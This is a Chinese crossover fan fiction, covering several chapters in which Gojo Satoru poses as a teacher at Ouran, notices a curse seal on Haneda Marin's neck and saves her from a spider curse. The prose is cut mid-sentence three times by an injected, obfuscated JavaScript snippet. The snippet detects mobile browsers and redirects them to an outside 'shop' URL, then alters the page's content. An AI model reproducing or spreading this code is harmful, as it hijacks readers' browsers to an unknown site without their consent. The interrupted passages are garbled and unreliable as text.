羽鸟真凛忽然涨红脸。 “你看到了?”她语气不算好地说,“是从小就有的胎记,家里人说长大可能会变淡,但好像一直没什么变化。” “有什么问题吗?” 五条悟没及时回答。 咒印的构造复杂程度,不可能是普通咒灵所能留下的痕迹,分明是精通咒术的人刻意施下的咒缚,有可能是咒术师或是诅咒师。 只是他不清楚那个咒印具体的效果,六眼也不是万能的,如果在施术者当场施咒的瞬间,他或许能通过咒力的流向、构筑方式来解析出诅咒的效用。 但对于早已脱离施术者、像疤痕一样烙在她血肉之中的咒印,他难以轻易窥见。 或许它尚未被触发,又或许,它已经产生了某种效果。 既然是从小就被刻下的咒印,她依然平安无事地活到现在,暂时应该没有危险。 “问题嘛,其实也不是太大。”五条悟故作轻松地耸了耸肩,试图缓和气氛。 六眼已经记住了那个图案,还需要一些时间,他会查清楚的。 “是吗?”羽鸟真凛的眼睛没看他。 直到那道几乎高她两个头的身影迎面笼罩下来,强行侵占了她的视野。 “喂,你在为上次的事生气?”五条悟略歪着脑袋,随手挠了挠那头醒目的白发:“嘛,生气也能理解,我确实做得太过火了,抱歉啦。” …… ……,…… 沉默有五秒。 羽鸟真凛轻轻阂上眼,又坚定地睁开。 “确实,我对五条同学轻而易举地将我脆弱的部分揭开感到很气愤,对少女柔软的心事再稍微温和一点如何呢?” 说完这番话她的眉头总算舒展了些,肩膀也随之放松下来,“可你的言行中没有恶意这一点我也很清楚,既然你说过抱歉,我再耿耿于怀,岂不是显得很小气。” 她抬起手,将一缕被风吹至颊边的碎发别至耳后。 “我对你并没有只是气愤,而且……” 就在这时候,刚才那阵远去的骚动回马枪一样折了回来,追逐五条悟的女生们如同失蹄的疯马汹涌而至。 “老师在哪里?!” “姐妹们快找!!” “咦咦咦!” 太过受欢迎的“五条老师”墨镜滑下,露出一脸实在消受不起的模样,这所学校的女生未免太热情了! 羽鸟真凛见状,当机立断。 “跟我来。”她没多考虑,一把拉起五条悟的手腕。 “欸?” 他被她拉着,一头扎进被树荫和灌木丛半掩着的隐蔽处。 直到那阵骚动暂时远去,羽鸟真凛再次拉起五条悟,做贼似的穿梭在几条小岔路,完美避开了所有可能的目光,然后悄悄闪进校舍内。 五条悟第一次被动地跟在人身后,他的手腕还被对方牢牢握着。 “你搞不好有做特工的潜质。”他心情不错地说着风凉话。 “别开玩笑了。”她白眼。 如此纤细的,比他矮上二十几公分的娇俏身影,始终抵挡在他前方,为他掩人耳目,同时开辟着道路。 直到她推开一扇不起眼的门,进去后她迅速反手关上门,将外界的一切声响彻底隔绝。 五条悟站定下来,打量一眼四周,这里似乎是一间空置已久的活动室。 他转身,促狭的目光透过墨镜片落在羽鸟真凛脸上:“没想到大小姐还有这么狂野的一面?拉着男人跑进秘密房间什么的。” 羽鸟真凛像是被烫到,猛地甩开了他的手。 “你是笨蛋吗?这都是你害的。” “开玩笑啦。谢咯,得救了。” “哎呀,没想到女学生们对我如此狂热,将来当一个麻辣教师似乎也不错呢!”五条悟得意地说,似乎已经沉浸在自己的幻想中。 午后阳光温暖明亮,透过无所遮挡的玻璃窗在地板上投下摇曳的光斑,空气中星星点点细小的尘埃如辰光般漂浮,一片静谧中,能听到她尚未平复的呼吸声。 “我也应该说谢谢,刚才我还没说完……”羽鸟真凛面向白发少年,盛满日光的绿眸坦荡而直白地望向他: “上次,你肯站出来编谎话替我解围,我才逃过了一关,所以很感谢你,因为耳光的事情你在父亲面前维护我,其实我也算有些感动。谢谢你,五条同学。” “……呜哇,我有做这么感人的事情吗?就是一时兴起而已。”五条悟无所谓地说。 然而被墨镜遮掩的苍瞳终究有一瞬悄悄地动了动。 被别人如此郑重地道谢,对他而言,好像……非常地少见。 他习惯了被恐惧、敬畏、算计或是玩笑打闹,唯独不习惯被感谢。 两人注视着对方,忽然间陷入一阵奇特的安静。 上次见面时是在夜晚,光线暗淡,他们也都穿得黑,算起来这是初次在如此明媚的地方面对面。 五条悟的感觉有些微妙,明明是张熟悉的脸,又像是第一次看到她。 白皙到几乎透明的肌肤,如同精心雕琢的易碎水晶,蓬松的栗色长发微微卷曲,披散至腰际,在光线下泛着蜜糖的光泽,缕缕分明的发丝像是流淌的蜂蜜。 眼睛是澄澈的祖母绿,不染杂质,恍惚见仿佛能看见一片森林。 “言归正传。”羽鸟真凛话锋一转,“你来樱兰的目的是什么?你究竟是怎么变成老师的?合法吗?” “你问题很多诶——”五条大少爷仰起头,懒洋洋地将手枕在脑后,“没什么好奇怪的,咒术师就是有这种特权。” “咒术师……”她念着这个陌生词汇,“所以你的出现与那什么咒灵有关?” “bingo!” “我们学校真的存在咒灵?” “没错,我们有专业团队在全国各地监测着咒灵产生的咒力波动,一旦发现异常就会上报。” “那特权又是怎样?” “技术上来说,就是与校方高层进行过交涉,获得了假扮老师的权利。” “原来如此。” “满意了?真是麻烦。” “等等,你来处理的话,岂不是会把学校拆掉?”羽鸟真凛回想起来上次五条悟暴揍‘空气’的场面,堪称灾难的破坏力不免让她担心。 “还有,校内的学生怎么办?” “放心吧,正式行动会等到学生全都离校后秘密进行。我只是提前过来踩点的,顺便享受一下当‘老师’的乐趣。”说到“老师”二字五条悟明显地兴奋。 “但是五条同学在除咒灵之前已经引起了混乱,也会影响到我校的纪律。”羽鸟真凛径自走去旁边,蹲在一堆箱子里翻找着什么东西。 “我认为,你应该稍微遮掩一下个人特征。” 五条悟捏着下巴思索了一番。 “变装吗?听起来倒是挺有趣。” “嗯,这里以前是戏剧部,应该会有些道具吧,虽然大部分都没法用了……嗯,这个还挺新的。” 在背对着五条悟的阴影里,女孩嘴角荡起人畜无害的诡笑。 一顶地中海造型的假发道具藏在手里,她背着手,若无其事地走去五条悟面前,突然踮起脚尖向他的头部发起突袭。 “可恶,你想谋害我!”他一个敏捷的错身躲开了那只蓄意谋害的手,“哼,我看到你拿的东西了!想在我的六眼底下蒙混过关可没那么容易。” 她不怀好意地继续靠近:“只是试一下嘛。” “好丑!绝对不要——!” “试一下啦,肯定超适合的!” “哇,别过来!你就是嫉妒我的美貌!” “论美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600098|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌我也不输五条同学吧。” 她一再试图把那顶滑稽的假发往五条悟的头顶上扣,在对方的抗拒和她的不依不饶下,两人缠扭在一起。 蓦地,指尖不小心擦过男生的耳廓,带点温热的、柔软的触感让她猝不及防地抽回手,紧接着却又防不胜防撞入他的视线。 墨镜不知何时滑落至他鼻尖上,那双苍穹般的蓝眼睛毫无遮掩,正一眨不眨地,像只受惊的大猫咪注视着她。 两道目光徒然在空中相遇。 再次近距离看到这双眼,她依然会受到震撼,与她今日所见的午后青空,如出一辙。 距离太近了,近得能清晰地看到对方眼中自己的倒影。 羽鸟真凛急忙别开脸,这时风猛然从窗口灌进来,吹散了两道匆匆相交的目光。 “那再次被女生们围攻你就自求多福了。”她连忙说起话来,语气有些急促。 “还有,镜夜见过你,碰到他的话你这个假老师的身份肯定会暴露无疑。” 这个名字一出来,五条悟就想起了,镜夜就是上次在她家门口碰到的那小子,看起来文质彬彬,一副上流精英模样的公子哥——但他一眼就看出来那副皮囊下绝对是个精于算计的腹黑家伙。 听她话里的意思,她很不想让那个叫镜夜的家伙发现他在这所学校似的。 “镜夜,他是你的谁?” 她忽然听见白发男生的声音低沉了几分。 羽鸟真凛顿了顿,“算是……青梅竹马吧。”她犹豫了下,最终没有说出是父母定下婚约的对象。 “哦,青梅竹马啊。” 男生的嘴唇抿成一条毫无波澜的直线,像是想要验证什么,他直直看向她:“这么说,你们从很小就认识?” “其实也没有很小,11岁时认识的。”她坦白道。 十一岁。 听到这个数字时五条悟瞬间有些惊愕。 “真巧啊,我曾经也有个青梅竹马。” “曾经?”羽鸟真凛察觉到五条悟周身的气场有了种微妙的变化,漫不经心的语气忽然变得有些缥缈起来,他的眼神也不知在看向哪里。 她小心翼翼地问:“那……现在呢?” 五条悟沉默了片刻,空气凝固得如同冰块。 最终他抬起眼,平静地陈述:“她死了。” 他说这句话时,始终凝视着羽鸟真凛的眼睛,像是要从那里找出什么答案。 “她死在11岁的那一年。” 死状很惨烈。 ——是他亲眼所见,真实到丝毫也无法质疑的死。 因此他从未想到,六年后的今天,与死掉的女孩一模一样的面容会出现在他眼前,在他此时此刻瞳孔的倒映中。 翠绿的眼眸、精细的鼻梁线条、下颌柔和的轮廓、嘴唇的弧度……一切的一切,都相似到他无法否认。 只不过与他记忆中11岁的样子相比,眼前的这张脸,是等比例地长大后褪去了稚嫩的模样。 可是,这怎么可能呢?死去的人无法复活,这是世间最绝对的法则。 况且她没有任何的咒力。 因此第一次见到羽鸟真凛时,他始终没办法说服自己她们是同一个人,他有想过或许只是一个模子里的两个不同灵魂。 然而他又并非完全没有动摇过和怀疑过,不如说,他一直心存某种疑虑,某种颠覆规则的希望,抑或是他十分想要相信,也许她就是她呢? “那孩子和你同名。” 五条悟看着她,锐利的眼神似乎要穿透她的灵魂:“她叫神里真凛。” “……” 羽鸟真凛一怔,背脊悄然爬上一抹凉飕飕的感觉,四肢的汗毛微微竖起。 过于惊人的巧合,让周遭的空气都变得玄乎起来。 她不知道该对五条悟说什么,他的神情静默得诡异,类似哀悼的目光中又有着在灰烬里看到本该死去之人的惊喜。那个孩子对儿时的他来说,一定是很重要的朋友吧。 她不知道该对他说什么,还因为她自己也处在惊愕之余自顾不暇。 他的幼驯染死于十一岁,而她,完全没有十一岁以前的记忆。 8. 008.体育课 难怪从第一次见到五条悟他就展现出了超常的自来熟,原来是把她当作死去幼驯染的替身?这是什么替身文学吗? 记忆的事情应该告诉他吗? 羽鸟真凛嚅嗫地开口:“其实我……” 在她刚开口时,响起了钟声,窗外的庭院内,那座仿自伦敦大本钟建造的华丽钟塔发出厚重的敲钟声,为午间休息划上休止符。 “……该去上课了。”羽鸟真凛话锋一转,站起身,及时的钟声恰好让她不用继续这个略沉重的话题,松了口气。 “你呢?”她问五条悟。 “我啊,一会儿先去传闻中的灵异旧校舍看看。”他的脸上,已将方才那微妙的情绪收得一干二净,看起来像是什么都没发生过。 “嗯,那祝你好运。” 羽鸟真凛先一步告辞,离开了旧活动室。 五条悟却没有立刻离开。 他走到一面长时间未使用的黑板前,目光扫过角落,找到了一小段白色粉笔。 他捻起粉笔,指尖带动轻轻划出一个图案——以漩涡状的花蕊为中心,六叶条形状的花瓣包围两侧,底部竖向延伸出一条抽象符文构成的茎秆。 是他刚才在羽鸟真凛后颈瞥见的咒印,图案已深深印在他脑海里。 随后,他拿出手机拨打电话,几乎立刻被接通。 手机对面传来一个毕恭毕敬的男声:“悟少爷,请您吩咐。” “帮我调查一个咒印的来历。”五条悟言简意赅,“翻遍五条家藏书阁里所有关于禁术、古老契约和咒缚的卷轴、古籍,所有记载中有相似或关联的图案,全部整理出来。” “明白。”对面的人毫不犹豫地应下,“具体的图案特征是?” “稍后发图片给你。” 挂断电话后五条悟举起手机,对准黑板上的图案拍下一张照片,指尖快速操作将其发送出去。 做完这一切,他用手将黑板上的图案抹去,拍了拍手上的灰。 樱兰学院下午的文化课结束后,接下来是选修课。 由于贵族学校性质,课程种类比较丰富可自由选择,分别可以从小语种、心理学、西方文学、体育课等等当中选。 羽鸟真凛今天选的是体育课。 换上体操服后她不缓不慢地去往体育馆,男女生的体育课是分开上的,那里已经聚集了一众女学生。 樱兰学院是专门培养淑女和绅士的精英教育,连体育课也设置成了并非必修的,并且选修率一向比较低。 然而今天上体育课的女生格外多。 羽鸟真凛刚靠近体育馆,就被里面传来的声浪震得愣了一下,一个个叽叽喳喳地议论着什么,气氛热烈得堪比偶像演唱会现场。 忽然有种不好的预感,她拨开重重人群,果然看到了一个DK版的五条老师。 “同学们好!我是今天来代课的体育老师,great teacher gojo!”五条悟被包围在泱泱人群中激情自我介绍,由于高挑身量和精练的体型十分显得熟男,很难让人想到其实是个高中生。 “呀——!好帅!好高!好有型!” 女生们一个个众星捧月地将他围住,双眼呈现出仿佛具像化的粉色爱心。 “老师!您是什么星座的?” “老师您的血型是什么?一定是超稀有的那种吧!” “拜托请告诉我身高!还有体重!” “老师您的眼睛好漂亮!” “哎呀呀,问题这么多,真让老师我困扰呢。”五条悟故作苦恼地摸了摸下巴,随即元气满满地号召道:“现在可是上课时间哦,大家请保持纪律,让我们动起来,燃烧青春吧!” “是!老师——!”女生们异口同声地响应。 “首先,热身运动。”五条悟双手叉腰,气势十足:“跟着老师的节奏来!伸展运动~一、二、三、四!” 女学们十分配合地跟着他一同做着热身运动。 “……” 唯有羽鸟真凛愣在原地无语凝噎。 她以为他的“老师”身份只是便于调查的变装,混进学校就完事了,谁能想到,他居然真的跑来给学生上体育课?!再说他有好好上课的意思吗? 分明是在惑乱朝纲! “那边那位同学——”五条悟的视线捕捉到羽鸟真凛,动作停了下来:“为什么不动起来?你对老师的热身运动有意见吗?” 突然被点的羽鸟真凛仿佛有一道聚光灯打在头上,尴尬难忍。 登时,她唯有发挥出戏剧般的演技力(昧着良心):“不,我只是……太投入于欣赏老师您的英姿了。” “既然如此,”五条悟装模作样推了推墨镜,“老师就让你在近处尽情欣赏如何?请到前面来,跟我一起带领大家做热身!” “……” 羽鸟真凛的内心是拒绝的。 但羽鸟家的教养使她依旧维持着得体的微笑,步履平稳地走到女生队伍的最前面。 一回头,她用尖锐的目光刺向身旁的五条悟。 “你到底是来干嘛的?” 她用只有两人能听到的音量说。 对方一边做着扩胸运动,满脸唯恐天下不乱的笑意:“当然是在特别关照欣赏我的同学咯,开心吗?好好跟着老师我做哦~一、二、三、四~” “开心得要命。”羽鸟真凛皮笑肉不笑地跟着他抬起手臂,只觉得羞愤不已,其他女学生们倒是异常地开心。 “是吗,那接下来增加一点热身运动的难度吧?” “不必了,请问你们咒术师的举报部门在哪,我要举报有人不务正业。” “嗯?这位同学在说什么啊?本老师不是很懂欸。” “……” 一套热身运动做完,羽鸟真凛已经气喘吁吁。 接着“五条老师”宣布要锻炼反应力与协调性,从器材筐里掏出一堆颜色鲜艳的橡胶小黄鸭,以及棒球棍。 女孩子们围拢过来,纷纷好奇这是什么怪异的组合。 “规则超级简单!”五条悟拿起棒球棍在空中挥动了几下。 “我会随机把这些可爱的小鸭子抛向空中!而你们的任务呢——”他用球棍指向众人:“就是用这个,把它们一一打回去!打不中的……就要学小鸭子叫哦!” “诶???!”女孩子们娇嗔一片。 “全部打中的人可以获得老师的奖励哦!” “哇!是什么是什么?”一个女生兴奋地问。 “难道是爱的抱、抱抱?” “还是……k、kiss?!”又一个女生尖叫起来。 女生们陷入某种粉色幻想中,统统被点燃斗志。 然而开始运动后场面却无比混乱,那些原本就不曾选修体育课的大小姐们惊叫着,笨拙地挥棒,七零八落地接打着五条悟抛出的鸭子,结果纷纷败下阵来,没有一个人能完全接住。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600099|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 体育馆内学鸭子叫的“嘎噶”声四起,五条悟笑的更开心了。 最后轮到羽鸟真凛。 老实说,她内心对这幼稚荒唐的游戏吐槽万分,但是羽鸟家的家训要求她任何场合都不可落于人后,总是要追求优异的表现。 尽管,尽管是这种胡闹的项目……她也绝不能输。 “预备——”五条悟瞧着她那副认真的模样,嘴角的笑意更深。 羽鸟真凛眸光一凝,双手紧握球棒。 下一刻,在五条悟的投掷下,原本轻飘飘的橡胶小黄鸭像是球一样,一个接一个以各种刁钻的角度和惊人的速度有力地射过来! 她身形敏捷地移动着,精准地击中一只只飞来的小黄鸭,同时小鸭子发出“唧唧”的响声。 她轻盈跃起,截击高球,时而迅捷侧身劈开,晶莹的汗珠在空中挥洒,束成高马尾的栗色发丝随之飞扬,每个动作矫健而优美。 最后她用了个类似扣杀的动作,将一只直奔她面门的小黄鸭狠狠击回去。 “全打中了!” “好厉害!!” “不愧是羽鸟同学!” 体育馆门外。 因为今天体育课的选修率突然高到前所未有的程度而惊动了校方,连事务繁忙、不常来学校的须王理事长都亲自前来观望。 “理事长……这、这就是来我校解决灵异事件的‘专家’?”秘书眉头抽搐着,一脸不可置信,“他,真的靠谱吗?” “唔,专家定然有专家的作法,那可是‘有关部门’派来的人!”见过世面的理事长就淡定得多,振振有词道: “看看,那种打破常规、释放压力的先进教学!不仅促进了学生的积极性,并且通过激发学生的元气,来抵御不洁之物,没错!肯定是这样!” 秘书一秒露出敬佩的神情:“原来如此!不愧是专家!” 五条悟:……他们在说些什么他根本不知道的事呢。 在众多女生羡慕的目光下,五条悟走到完成了任务的羽鸟真凛面前。 “bravo!”他鼓着掌说道,“羽鸟同学的运动神经非常优秀呢,竟然全都接住了。” 她微微喘息,白皙的脸颊因刚才的剧烈运动染上绯红。 “多谢夸奖,五、条、老、师。”她眯眼微笑着,几乎一字一顿地念出称呼。 “那么依照约定,这是给你的奖励。”语毕,他极其自然地抬起手,细长而骨节分明的手掌放在她头顶上,说是摸又算不上,只稍作了一个轻柔的停留。 没等她反应过来,五条悟忽然微微俯身,凑近了些,声音压低:“记得放学后赶快回家,不要在学校逗留哦。” 由于顶着这副名为老师的面具,这个如同长辈的举止竟然毫无违和感。 羽鸟真凛抬手,顺了顺头顶被他带乱的发丝,以及轻微发麻的头皮。若不是在众目睽睽之下,她肯定要薅回来。 “……装模作样的家伙。” 在他转身之后,她看着那道背影低声喃喃。 明明是个嫩得要命的童颜,就算是伪装也太过于代入角色了,不会真把自己当老师了吧。 在接下来的环节里,五条悟依旧花样百出,这无疑是羽鸟真凛有史以来运动量最大的一堂体育课。 可奇怪的是,尽管身体叫嚣着精疲力尽,内心的某个角落却悄无声息泛起一抹轻盈的雀跃,像是刚摇晃过的汽水,滋滋冒出一个个小泡。 9. 009.恐惧 放学后,樱兰高中部发布了通知,要求全体学生放学后即刻离校,社团活动也全部取消。 羽鸟真凛能猜到大概跟五条悟以及咒灵有关。只是没想到,所谓咒术师的身份能有这么大的特权。 当广播第三次响起催促离校的通知时,学生都走得已差不多,作为班长的羽鸟真凛刚处理完班级上的事务,最后一个离开教室,锁上教室门。 在空荡荡的校舍拱廊下,她看到凤镜夜独自站在苍白的石柱旁,看样子应该是在等她,因为部活被取消,公关部自然也只能回家了。 “镜夜?真罕见,有事么?” “没,只是看到你上午的时候好像不是很开心,稍微有些挂心,但现在……”凤镜夜的目光透过镜片静静落在她脸上。 “你似乎没事了,遇到开心的事了吗?” 白天她周身弥漫的那种沉闷,短短一个下午,那层若隐若现愁绪的薄纱就像是被什么强有力的东西驱散而开。 开心的事吗…… 一瞬间,某张胡闹又嚣张至极的面庞从她脑海里晃过,她急忙甩掉。 “开不开心没什么太大的差别吧,或许是镜夜太敏感了。”羽鸟真凛的视线落在前方,既没承认也没否认。 她转移话题:“好像很久没跟镜夜一起放学了,好难得。” 说着,二人自然而然地一同往校门外走去。 “是吗。”凤镜夜淡淡地说,“听说今天来了一个代课的体育老师,还引起不小的骚动。” 羽鸟真凛毫无征兆地咯噔一下。 “是、是啊……”她努力让自己的语气轻松自然,反而有弄巧成拙之嫌。“是个很奇怪的家伙,不过挺有趣的。” “真令我意外啊,你会觉得有趣。”凤镜夜语气里带着一丝难以察觉的探究。 “新奇,竟然有让镜夜感到意外的事?” 黑发男生闭眸,稀薄的光线在他眼底投下静谧的影。 “太高看我了。” “有关你的事我一向不拥有完全把握的自信,也远没有处理其他事情的游刃有余。”男生清俊的脸庞带着不属于少年的沉稳。 一阵微风拂过,携来庭院里月季的清香,地面的树叶发出细碎的沙沙声。 羽鸟真凛停住脚步,稍作沉吟后问:“这是出于对‘婚约者’的掌控欲,还是对朋友的在意?” 她心里一直希冀着,如果他们只是单纯的朋友该多好。 凤家和羽鸟家交情尚好,凤集团身为国内首屈一指的医疗器械制造巨头,名下还经营多家大型医院和高端疗养院等等,与老牌制药集团的羽鸟家一直有商业合作,她自然而然认识了凤镜夜,与之从小一起长大。 直到两家为他们定下婚约,羽鸟真凛才恍然意识到,父亲鼓励她与凤家亲近,对她的一切栽培,可以说是为了让她能够得到镜夜父亲的认可,为了将她塑造成凤家理想中的儿媳,以促成两家的商业联姻。 知道这一点后,本该是无垢的青梅竹马情谊,似乎变得不再纯粹了。 父亲的居心使她没办法再挺起胸膛直视镜夜,她开始避开他。 而她自己,或许不仅仅怨恨父亲的决定,也悄悄怨恨着间接造成她从童年起便被规训、身陷桎梏、从此失去自由的的罪魁祸首——婚约者的存在。 也就是镜夜。 少年沉默片刻,再次响起的声音低沉而克制。 “我不想掌控什么,却也不仅是单纯朋友之间的在意……”他顿了顿,抬起眼:“如果我这样说,你会为此困扰吗,真凛。” 羽鸟真凛无意识地收紧指间。 “……抱歉,镜夜,我知道我的态度对你来说不公平。令我困扰的一直是来自家庭的束缚,但我却一度把怨气迁于你,我实在是个很差劲的朋友,明明不止是我,你也是身不由己。” 黑发男生静静注视着她。 末了,他唇角微扬,露出一个极淡的弧度。 “你比之前变坦率了些。” 之前的羽鸟真凛兴许会为了维系两家的关系,顾及父亲的教诲而压抑着自我,戴上得体的面具,露出恰到好处的微笑说着不伤大雅的话。 而不会像现在这样,将内心的挣扎表露出来。 二人走到校门口,羽鸟真凛忽然停住脚步,转过头。 她不由自主地,望向北面那栋旧校舍的方向,微微出神。迎面的风吹来一丝不同寻常的气息,有种说不清的怪异,让她莫名在意。 就是这一瞥,她看到了原本不该出现在校园里的人影。 远处有两个小孩鬼鬼祟祟的身姿,他们穿着樱兰小学部的制服,显然是从小学偷偷溜到了高中的地界。 两名小学生前往的方向正是传闻中的灵异地点,大概又是听了传言后抱着某种探险心态而来的。 刚才随风飘来的那股不寻常气息,使她无法忽视那两个毫不知情的小孩,停住的脚步依然迟疑着,她快速地思考着该采取什么行动。 “镜夜,”羽鸟真凛唤道,此刻她做出决定:“我有东西落下了,要回校舍一趟,你先走吧。” 没有等凤镜夜说什么,她转身毫不犹豫冲进校园里。 黑发男生愕然地嘴唇轻启,但只看见她一溜烟跑远了,他从没看过她那么坚决的背影。 她要去的前方究竟是哪里? · 羽鸟真凛穿过校园主区,穿过幽静的小径,在旧校舍的门前追上了两个小小的身影。 “你们——”在两人即将猫着腰溜进门之前,羽鸟真凛及时地拎住他们的后衣领,“给我站住。” “呜哇,被发现了!”一个小男孩惊呼,像被捉住后颈的小猫一样挣扎着。 "现在立刻离开这里!"羽鸟真凛不由分说拖着两人往外走。 "大姐姐你又不是教导主任,干嘛多管闲事啦。"较胖的男孩扭动着身子说,"我们要去幽灵校舍探险!" “不行,这里很危险。” 两个小不点忽然安静下来,互相交换了一个眼神,似乎放弃了抵抗。 “一、二~啾!” 趁她放松警惕时,两个小男孩像商量好般齐声一喊,同时向前滚去,迫使她双手卸力。 一脱离她的掌控,两小只撒丫子跑进校舍里去,边回过头笑嘻嘻地说:“那大姐姐来陪我们往捉迷藏吧!来抓我们呀!” “……” 让她知道是哪家的小少爷,她一定要上告家长。 但现在不是说这些的时候,她几乎没有犹豫追随进了旧校舍。 传闻中十年没使用的旧校舍她从没来过,里面不算破旧,只是比她想象的还要昏暗,空气中弥漫着灰尘的味道,她再次察觉到那种难以言说的不吉气息。 光从氛围就能感觉到这里无疑是灵异地点。 说起来,特意来解决灵异事件的五条悟究竟何在?现在樱兰的学生几乎都离校了,他应该该采取正式行动了吧。 假设他已经在这栋校舍的某个角落,她姑且还能感到一丝安心,但万一他还没来呢?有事耽误了呢? 紧张得吞咽了唾沫,她小心翼翼地迈向长廊,小男孩已经溜得看不见影,只有脚步声自深处传来回音,隐约还能辨别方向。 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600100|187505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是心理作用,在毫无生气的空旷走廊中,总会令人感到有不干净的东西在黑暗里伺机而动,她一边后悔为什么要跟来,却依然加快了前行的步伐。 她给自己打气,别去看四周,往前走。 一楼无人,她步上阶梯。在一个转角,她终于捕捉到那两个小小的颤动的身影,他们正蹲在一间美术教室里。 “那、那个雕像动了……”胖男孩指了指教室正中央那座断臂的维纳斯。 她顺着男孩手指的方向看去,只见那尊原本静静矗立的雕像,竟微微晃动起来,发出咔哒咔哒的声音,上面的石膏正一点点剥落,像是被什么无形的力量侵蚀着,诡异的声响在寂静的教室里格外刺耳。 顾不上自己慌乱的心跳,她立刻拉起吓得呆木弱鸡的两个男孩:“快走!” 在将要离开教室时,那扇欧式双开门突然“啪”地一声自动闭合,怎么拉也打不开。 “姐、姐姐……”两个男孩吓得脸色苍白,紧紧抱住她的腿。 “你现在哭着喊姐姐也没有用了,姐姐手无缚鸡之力。”真凛咬紧牙关,尽管十分厌烦这两个熊孩子,还是将他们护了在身后。 突然雕像“嘭”地一声掉落在地,砸得四分五裂。 ——有什么东西正在苏醒。 尽管视觉中看不见任何怪异生物,某种第六感却在紧张的边缘疯狂地提醒她。 他们逃不掉的。 她瞬间放弃了看起来毫无希望的逃跑路线,转而颤颤巍巍地摸出手机。 她没有拿出那张揣了一周的纸条,因为上面的号码她已经记住。随后,指尖颤抖着按下了“呼叫超级英雄”的方法。 “大姐姐……怪、怪物!”一个小男孩望向天花板,双眼因恐惧而放大。 他看到了,不属于正常世界的异物,布满数只眼睛的脚倒挂天花板上,蠢蠢欲动。 羽鸟真凛看不到。 尽管如此,她的恐惧一点也不比孩子们少。 “别害怕,会有一个白发的大哥哥来救我们。”她故作轻松地出声安慰,身体结结实实地抵挡在两个孩子面前。 紧张到屏住呼吸的时刻,从她的手机中响起了轻快的男声。 “もしもし?” “五条君!救——” 话音还未落,无形的力量狠狠击中她的手腕。手机应声飞了出去,在空中划出一道笔直弧线,手腕传来一阵剧痛,。 看不见的力量不知从何而来圈住她的腰、封住她的嘴巴,她看到自己双脚离地,整个身体不受控地升起,被一股蛮横的力量禁锢在半空中。 她知道自己被怪物捕获了。 被捂住的嘴巴拼命想发出叫声,却发不出来,鼻腔里能清晰地闻见一股令人作呕的腐烂味道,是死亡的味道,就在她的近旁,几乎贴着她的脸颊。 心跳快到难以呼吸,缺氧让她的视线开始模糊。 在快要窒息的一瞬间,那恐惧的源头隐约现出模糊的轮廓,然后逐渐变清晰,显露出骇人的真容。 恰如其分的怪物。 它像一只巨大的变异蜘蛛,倒挂在天花板上,无数只细长的脚肢在空中蠕动,头部没有眼睛,只有一张裂到耳根的大嘴,里面布满密密麻麻的尖牙,正滴着粘稠的唾液,要将她吞噬。 “!”恐惧直冲全身的每一个细胞,她的大脑尖叫着,肾上腺素狂飙至无以复加。 忽然间,她感到后颈一阵灼热——那块印着“胎记”的肌肤,或者说是咒印,发出前所未有的滚烫温度。 在她无法看见的角度,一缕诡谲的红光自后颈透出,明明灭灭。 10. 010.邀请 好烫。 仿佛要灼穿灵魂般的热度自后颈扩散至全身,与此同时心脏频频地剧烈收缩,几乎叫她承受不住。 这到底是什么? 难道她已经受到了某种不明攻击? 大脑在高温中顿时宕机,无法思考。 眼前是意图吃掉她的怪物,后颈是灼烧每一根神经的滚烫,感觉自己就要凉凉。 “唧——” 咒印明明灭灭的红光使蜘蛛咒灵分了神,原本要将她吞噬的动作暂缓下来,无数只眼睛写满好奇。 轰——! 就在这时,震耳欲聋的巨响从忽然头顶炸开,整个空间为之一震,天花板随之破开一个大洞,大块钢筋水泥和灰尘哗啦落下,却好像精确控制好轨迹般没有一块砸到羽鸟真凛。 破洞的穹顶投下一束不甚明亮的天光,逆着光的漆黑身影跃入视野,灼眼的白发依旧张扬。 他站在穹顶,一只手里还握着手机,保持着未挂断的通话。 “害怕吗?”熟悉的少年嗓音透过尘埃传来,与此同时,他指间跳动起那抹她曾见过的苍色光芒。 这一霎那,她忽然不再有任何恐慌。 不知什么原因,后颈的灼热随着逐渐平复的心跳退潮般缓缓消去。 “苍。” 那道蓝色光芒骤然爆发,精准地击中缠绕在她身上的咒灵。 咒灵发出一声惨叫,缠绕在她腰间的束缚应声断开,失重感瞬间袭来,她感到身体不受控地猛然下坠。 惊慌再次攫住了呼吸,却没能维持太久。 身体已然坠入一双有力的手臂中。 “真是不听老师的话啊,”从她头上传来的声音带着几分玩笑般的责备:“明明叮嘱过你不要逗留。” 温热宽厚的怀抱以及清冽的少年气息将她包裹,胸腔里仿佛还残留着恐慌的余力似地一阵震颤,咚咚咚咚。 